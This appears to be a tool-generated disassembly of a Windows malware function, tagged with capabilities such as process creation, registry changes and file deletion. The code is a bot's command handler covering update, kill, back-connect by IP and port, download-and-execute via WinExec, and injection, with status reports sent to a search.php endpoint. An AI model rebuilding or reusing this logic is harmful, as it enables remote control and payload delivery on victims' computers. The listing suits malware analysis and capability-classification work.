Function at 0x10010190
Capabilities:
Create process on windows
Create thread
Delete file
Delete registry value
Get common file path
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x540
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0xc], 0
test esi, esi
je 0x10010fe9
lea eax, [ebp - 0x330]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x228]
push ecx
push 0
push 0
lea edx, [ebp - 0x330]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov edi, dword [sym.imp.ntdll.dll_strstr]
push str.commandconfigupdate_url
push esi
call edi
add esp, 8
test eax, eax
je 0x100104c8
push str.commandconfigupdate_url
mov ecx, str.knock_wo_log
mov eax, esi
mov dword [ebp - 0xc], 1
call fcn.10015a90
mov esi, eax
test esi, esi
je 0x10010ff9
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
mov edi, 0x100569e0
mov eax, esi
call fcn.1000ee30
mov eax, dword [0x10054278]
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10010254
mov ecx, dword [0x10054278]
push esi
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push 0
push 0
push 0x1000fb00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10010292
lea edx, [ebp - 4]
push edx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10010292
test byte [ebp - 4], 2
jne 0x10010292
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
push str.knock_wo_log
mov ecx, str.knock_log
call fcn.10015a90
mov esi, eax
test esi, esi
je 0x10010ff9
mov edi, dword [sym.imp.ntdll.dll_atoi]
push esi
call edi
add esp, 4
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x20106
push 0
push str.softwaremicrosoft
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10010318
mov edx, dword [ebp - 4]
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push 0
push 0x10058344
push edx
call ebx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [0x10054278]
push esi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1001033b
mov eax, dword [0x10054278]
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp + 8]
push str.knock_log
mov ecx, 0x10046e74
call fcn.10015a90
mov esi, eax
test esi, esi
je 0x10010ff9
push esi
call edi
add esp, 4
lea ecx, [ebp - 4]
push ecx
push 0x20106
push 0
push str.softwaremicrosoft
mov dword [ebp - 8], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100103b4
push 4
lea edx, [ebp - 8]
push edx
push 4
push eax
mov eax, dword [ebp - 4]
push 0x10058448
push eax
call ebx
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x10054278]
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x100103d7
mov ecx, dword [0x10054278]
push esi
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, byte [0x1004783c]
mov edx, dword [str.hid]
mov byte [ebp - 0x11c], al
mov eax, 0x10055658
mov dword [ebp - 0x120], edx
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100103f5
lea edi, [ebp - 0x120]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10010405
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x120]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10010424
mov ecx, 6
mov esi, str.commandconfigstatusok
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x120]
movsw word es:[edi], word [esi]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10010443
sub eax, edx
mov esi, eax
call fcn.1000f0c0
push 0
push 1
push esi
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x228]
push edx
push str._search.php
mov edi, eax
push edi
push 0
call fcn.1000f160
test eax, eax
jne 0x100104a3
push eax
push 1
push esi
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x228]
push ecx
push str._search.php
push edi
push 1
call fcn.1000f160
test eax, eax
jne 0x100104a3
push 1
call fcn.10006e70
push 0
lea edx, [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [sym.imp.ntdll.dll_strstr]
mov esi, dword [ebp + 8]
push str.commandkill_os
push esi
call edi
add esp, 8
test eax, eax
je 0x100105f0
mov dl, byte [0x1004783c]
mov ecx, dword [str.hid]
mov eax, 0x10055658
mov byte [ebp - 0x11c], dl
mov dword [ebp - 0x120], ecx
mov edx, eax
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10010500
lea edi, [ebp - 0x120]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10010510
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x120]
dec edi
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10010530
mov ecx, 6
mov esi, str.commandkill_osstatusok
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x120]
movsb byte es:[edi], byte [esi]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10010550
sub eax, edx
mov esi, eax
call fcn.1000f0c0
push 0
push 1
push esi
mov edi, eax
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x228]
push ecx
push str._search.php
push edi
push 0
call fcn.1000f160
test eax, eax
jne 0x100105b0
push eax
push 1
push esi
lea edx, [ebp - 0x120]
push edx
lea eax, [ebp - 0x228]
push eax
push str._search.php
push edi
push 1
call fcn.1000f160
test eax, eax
jne 0x100105b0
push 1
call fcn.10006e70
push 0
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.1000dd90
call fcn.1000db30
push 0
push 0
push 0x64
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.commandbc_activateip
push esi
call edi
add esp, 8
test eax, eax
je 0x100106e2
mov eax, dword [ebp + 8]
mov edi, dword [sym.imp.ntdll.dll_strstr]
push str.commandbc_activateip
push eax
mov dword [ebp - 0xc], 1
call edi
lea esi, [eax + 0x17]
push str.port
push esi
call edi
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x100106e2
push 0x80000002
mov edi, 0x10057304
mov eax, esi
mov byte [ebx], 0
call fcn.10007a30
test eax, eax
jne 0x10010657
push 0x80000001
mov eax, esi
call fcn.10007a30
push 0x80000002
mov edi, 0x10057408
lea eax, [ebx + 6]
mov byte [ebx], 0x26
call fcn.10007a30
test eax, eax
jne 0x1001067d
push 0x80000001
lea eax, [ebx + 6]
call fcn.10007a30
push str.GlobalEAF799BF_8449_4fe1_9A0D_95CD39DC2014
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x100106e2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 6
push str.GlobalEAF799BF_8449_4fe1_9A0D_95CD39DC2014
mov edi, eax
call fcn.10020230
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea ecx, [ebp - 4]
push ecx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x100106e2
test byte [ebp - 4], 2
jne 0x100106e2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp + 8]
mov ebx, dword [sym.imp.ntdll.dll_strstr]
push str.commandbc_deactivate
push esi
call ebx
add esp, 8
test eax, eax
je 0x10010a65
push 0x103
xor edi, edi
lea edx, [ebp - 0x437]
push edi
push edx
mov dword [ebp - 0xc], 1
mov byte [ebp - 0x438], 0
call sub.ntdll.dll_memset
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x102
push edi
push str.softwaremicrosoft
push 0x80000002
mov dword [ebp - 4], edi
call esi
test eax, eax
jne 0x10010768
mov ecx, dword [ebp - 4]
push 0x10057304
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x10010768
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edi, 1
mov eax, dword [ebp - 4]
test eax, eax
je 0x10010776
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
jne 0x100107de
push 0x103
lea eax, [ebp - 0x437]
push edi
push eax
mov byte [ebp - 0x438], 0
call sub.ntdll.dll_memset
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push 0x102
push edi
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 4], edi
call esi
test eax, eax
jne 0x100107d0
mov edx, dword [ebp - 4]
push 0x10057304
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x100107d0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
test eax, eax
je 0x100107de
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x103
xor edi, edi
lea ecx, [ebp - 0x437]
push edi
push ecx
mov byte [ebp - 0x438], 0
call sub.ntdll.dll_memset
add esp, 0xc
lea edx, [ebp - 4]
push edx
push 0x102
push edi
push str.softwaremicrosoft
push 0x80000002
mov dword [ebp - 4], edi
call esi
test eax, eax
jne 0x1001083b
mov eax, dword [ebp - 4]
push 0x10057408
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x1001083b
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edi, 1
mov eax, dword [ebp - 4]
test eax, eax
je 0x10010849
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
jne 0x100108b1
push 0x103
lea edx, [ebp - 0x437]
push edi
push edx
mov byte [ebp - 0x438], 0
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x102
push edi
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 4], edi
call esi
test eax, eax
jne 0x100108a3
mov ecx, dword [ebp - 4]
push 0x10057408
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x100108a3
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
test eax, eax
je 0x100108b1
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.GlobalEAF799BF_8249_4fe1_9A0D_92CD3CC22014
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x10010a62
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call fcn.10020190
test eax, eax
je 0x10010936
push 0
lea eax, [ebp - 8]
push eax
push 1
push str.S:_ML__NRNWNX___LW_
call dword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
test eax, eax
je 0x10010936
lea ecx, [ebp - 0x14]
push ecx
mov ecx, dword [ebp - 8]
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x10]
push eax
push ecx
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorSacl]
test eax, eax
je 0x1001092c
mov edx, dword [ebp - 4]
push edx
push 0
push 0
push 0
push 0x10
push 6
push str.GlobalEAF799BF_8249_4fe1_9A0D_92CD3CC22014
call dword [sym.imp.ADVAPI32.dll_SetNamedSecurityInfoA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea ecx, [ebp - 8]
push ecx
push esi
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10010972
test byte [ebp - 8], 2
jne 0x10010972
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [0x1004783c]
mov edx, dword [str.hid]
mov byte [ebp - 0x11c], al
mov eax, 0x10055658
mov dword [ebp - 0x120], edx
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10010990
lea edi, [ebp - 0x120]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100109a0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x120]
dec edi
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100109c0
mov ecx, 8
mov esi, str.commandbc_deactivatestatusok
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x120]
movsb byte es:[edi], byte [esi]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100109e0
sub eax, edx
mov esi, eax
call fcn.1000f0c0
push 0
push 1
push esi
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x228]
push edx
push str._search.php
mov edi, eax
push edi
push 0
call fcn.1000f160
test eax, eax
jne 0x10010a40
push eax
push 1
push esi
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x228]
push ecx
push str._search.php
push edi
push 1
call fcn.1000f160
test eax, eax
jne 0x10010a40
push 1
call fcn.10006e70
push 0
lea edx, [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebx, dword [sym.imp.ntdll.dll_strstr]
mov esi, dword [ebp + 8]
push str.commandloadurl
push esi
call ebx
add esp, 8
test eax, eax
je 0x10010d32
mov ecx, dword [ebp + 8]
mov ebx, dword [sym.imp.ntdll.dll_strstr]
push str.commandloadurl
push ecx
mov dword [ebp - 0xc], 1
call ebx
lea esi, [eax + 0x11]
push 0x10046e74
push esi
call ebx
mov edi, eax
add esp, 0x10
test edi, edi
je 0x10010aa7
mov byte [edi], 0
add esi, 7
lea edx, [ebp - 0x540]
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10010ab4
push 0x100483c8
push esi
call ebx
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x10010ff9
push 0x100482cc
push ebx
call dword [sym.imp.ntdll.dll_strstr]
add esp, 8
mov dword [ebp - 8], eax
test eax, eax
je 0x10010ff9
mov edx, eax
lea eax, [ebp - 0x540]
push 0x100482cc
push eax
mov byte [edx], 0
call dword [sym.imp.ntdll.dll_strstr]
mov esi, eax
mov byte [esi], 0
add esp, 8
inc esi
test edi, edi
je 0x10010b14
mov byte [edi], 0xa
lea ecx, [ebp - 0x540]
push 0x100483c8
push ecx
call dword [sym.imp.ntdll.dll_strstr]
add esp, 8
test eax, eax
je 0x10010ff9
lea edx, [ebp - 0x330]
push edx
push 0x104
mov byte [eax], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x228]
push eax
push 0
push 0
lea ecx, [ebp - 0x330]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x228]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10010b65
mov edx, dword [str..exe]
mov cl, byte [0x10046d28]
mov dword [eax], edx
mov byte [eax + 4], cl
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10010b83
push 0
push 1
sub eax, edx
mov edi, eax
push edi
push esi
lea edx, [ebp - 0x228]
push edx
push ebx
lea eax, [ebp - 0x540]
push eax
push 0
call fcn.1000f160
test eax, eax
jne 0x10010bd1
push eax
push 1
push edi
push esi
lea ecx, [ebp - 0x228]
push ecx
push ebx
lea edx, [ebp - 0x540]
push edx
push 1
call fcn.1000f160
test eax, eax
je 0x10010d23
push 5
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x1f
jbe 0x10010d23
mov dl, byte [0x1004783c]
mov ecx, dword [str.hid]
mov eax, 0x10055658
mov byte [ebp - 0x11c], dl
mov dword [ebp - 0x120], ecx
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10010c08
lea edi, [ebp - 0x120]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10010c18
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x120]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10010c37
mov ecx, dword [str.commandloadstatusok]
mov edx, dword [0x100483d0]
mov dword [eax], ecx
mov ecx, dword [0x100483d4]
mov dword [eax + 4], edx
mov edx, dword [0x100483d8]
mov dword [eax + 8], ecx
mov ecx, dword [0x100483dc]
mov dword [eax + 0xc], edx
mov edx, dword [0x100483e0]
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], edx
lea eax, [ebp - 0x330]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x228]
push ecx
push 0
push 0
lea edx, [ebp - 0x330]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x120]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10010ca7
sub eax, edx
mov esi, eax
call fcn.1000f0c0
push 0
push 1
push esi
mov edi, eax
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x228]
push ecx
push str._search.php
push edi
push 0
call fcn.1000f160
test eax, eax
jne 0x10010d07
push eax
push 1
push esi
lea edx, [ebp - 0x120]
push edx
lea eax, [ebp - 0x228]
push eax
push str._search.php
push edi
push 1
call fcn.1000f160
test eax, eax
jne 0x10010d07
push 1
call fcn.10006e70
push 0
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 8]
mov ebx, dword [sym.imp.ntdll.dll_strstr]
mov esi, dword [ebp + 8]
mov byte [eax], 0x3f
push str.commandinjectdata
push esi
mov dword [ebp + 8], esi
call ebx
add esp, 8
test eax, eax
je 0x10010fd2
push str.commandinjectdata
push esi
mov dword [ebp - 0xc], 1
call ebx
lea esi, [eax + 0x14]
push 0x10046e74
push esi
mov dword [ebp + 8], esi
call ebx
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x10010ff9
mov eax, esi
mov byte [ebx], 0
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10010d80
sub eax, edx
je 0x10010ff9
mov ecx, dword [0x10054278]
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10010ff9
push edi
push 0
push esi
call sub.ntdll.dll_memset
mov edx, dword [ebp + 8]
add esp, 0xc
push esi
push edx
call fcn.10045850
lea eax, [ebp - 0x330]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x228]
push ecx
push 0
push 0
lea edx, [ebp - 0x330]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10010df4
sub eax, edx
push eax
push esi
lea eax, [ebp - 0x228]
call fcn.10006ff0
call fcn.10020190
test eax, eax
je 0x10010e70
push 0
lea eax, [ebp - 4]
push eax
push 1
push str.S:_ML__NRNWNX___LW_
call dword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
test eax, eax
je 0x10010e70
lea ecx, [ebp - 0x10]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x14]
push eax
push ecx
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorSacl]
test eax, eax
je 0x10010e66
mov edx, dword [ebp - 8]
push edx
push 0
push 0
push 0
push 0x10
push 1
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.ADVAPI32.dll_SetNamedSecurityInfoA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [0x10054278]
push esi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10010e93
mov eax, dword [0x10054278]
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
lea esi, [ebp - 0x228]
call fcn.1000bbf0
mov byte [ebx], 0xa
mov ecx, dword [str.hid]
mov dl, byte [0x1004783c]
mov eax, 0x10055658
mov dword [ebp - 0x120], ecx
mov byte [ebp - 0x11c], dl
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10010ed2
lea edi, [ebp - 0x120]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10010ee4
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x120]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10010f01
mov ecx, 6
mov esi, str.commandinjectstatusok
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x330]
push eax
push 0x104
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x228]
push ecx
push 0
push 0
lea edx, [ebp - 0x330]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x120]
lea ecx, [eax + 1]
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10010f50
sub eax, ecx
mov esi, eax
call fcn.1000f0c0
push 0
push 1
push esi
mov edi, eax
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x228]
push ecx
push str._search.php
push edi
push 0
call fcn.1000f160
test eax, eax
jne 0x10010fb0
push eax
push 1
push esi
lea edx, [ebp - 0x120]
push edx
lea eax, [ebp - 0x228]
push eax
push str._search.php
push edi
push 1
call fcn.1000f160
test eax, eax
jne 0x10010fb0
push 1
call fcn.10006e70
push 0
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebx, dword [sym.imp.ntdll.dll_strstr]
mov eax, dword [ebp + 8]
push str.commandnone
push eax
call ebx
add esp, 8
test eax, eax
jne 0x10010ff9
cmp dword [ebp - 0xc], eax
jne 0x10010ff9
push 1
call fcn.10006e70
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.10003cd0
test eax, eax
jne 0x10011010
call fcn.10003da0
test eax, eax
je 0x10011010
call fcn.10003d40
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4